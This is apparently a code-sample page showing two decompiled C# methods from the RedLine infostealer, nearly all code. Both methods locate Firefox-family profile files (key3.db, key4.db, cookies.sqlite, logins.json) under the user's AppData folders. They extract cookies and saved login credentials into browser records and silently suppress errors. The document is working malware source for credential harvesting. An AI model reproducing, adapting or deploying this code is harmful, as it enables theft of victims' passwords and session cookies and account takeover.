Пример #1
0
        public static List <Browser> ParseBrowsers()
        {
            List <Browser> browserList = new List <Browser>();

            try
            {
                List <string> stringList = new List <string>();
                stringList.AddRange((IEnumerable <string>)DecryptHelper.FindPaths(RedLine.Logic.Helpers.Constants.LocalAppData, 4, 1, "key3.db", "key4.db", "cookies.sqlite", "logins.json"));
                stringList.AddRange((IEnumerable <string>)DecryptHelper.FindPaths(RedLine.Logic.Helpers.Constants.RoamingAppData, 4, 1, "key3.db", "key4.db", "cookies.sqlite", "logins.json"));
                foreach (string fileName in stringList)
                {
                    string fullName = new FileInfo(fileName).Directory.FullName;
                    string str      = fileName.Contains(RedLine.Logic.Helpers.Constants.RoamingAppData) ? GeckoEngine.GetRoamingName(fullName) : GeckoEngine.GetLocalName(fullName);
                    if (!string.IsNullOrEmpty(str))
                    {
                        Browser browser = new Browser()
                        {
                            Name = str, Profile = new DirectoryInfo(fullName).Name, Cookies = (IList <Cookie>) new List <Cookie>((IEnumerable <Cookie>)GeckoEngine.ParseCookies(fullName)).IsNull <List <Cookie> >(), Credentials = (IList <LoginPair>) new List <LoginPair>((IEnumerable <LoginPair>)GeckoEngine.GetCredentials(fullName).IsNull <List <LoginPair> >()).IsNull <List <LoginPair> >(), Autofills = (IList <Autofill>) new List <Autofill>(), CreditCards = (IList <CreditCard>) new List <CreditCard>()
                        };
                        if (browser.Cookies.Count <Cookie>((Func <Cookie, bool>)(x => x.IsNotNull <Cookie>())) > 0 || browser.Credentials.Count <LoginPair>((Func <LoginPair, bool>)(x => x.IsNotNull <LoginPair>())) > 0)
                        {
                            browserList.Add(browser);
                        }
                    }
                }
            }
            catch
            {
            }
            return(browserList);
        }
Пример #2
0
        // Token: 0x060002C6 RID: 710 RVA: 0x0000C800 File Offset: 0x0000AA00
        public static List <Browser> ParseBrowsers(IList <string> paths)
        {
            List <Browser> list = new List <Browser>();

            try
            {
                foreach (string text in paths)
                {
                    try
                    {
                        string fullName = new FileInfo(text).Directory.FullName;
                        string text2    = text.Contains(Constants.RoamingAppData) ? GeckoEngine.GetRoamingName(fullName) : GeckoEngine.GetLocalName(fullName);
                        if (!string.IsNullOrEmpty(text2))
                        {
                            Browser browser = new Browser
                            {
                                Name        = text2,
                                Profile     = new DirectoryInfo(fullName).Name,
                                Cookies     = new List <Cookie>(GeckoEngine.ParseCookies(fullName)).IsNull <List <Cookie> >(),
                                Credentials = new List <LoginPair>(GeckoEngine.GetCredentials(fullName).IsNull <List <LoginPair> >()).IsNull <List <LoginPair> >(),
                                Autofills   = new List <Autofill>(),
                                CreditCards = new List <CreditCard>()
                            };
                            if (browser.Cookies.Count((Cookie x) => x.IsNotNull <Cookie>()) <= 0)
                            {
                                if (browser.Credentials.Count((LoginPair x) => x.IsNotNull <LoginPair>()) <= 0)
                                {
                                    continue;
                                }
                            }
                            list.Add(browser);
                        }
                    }
                    catch
                    {
                    }
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }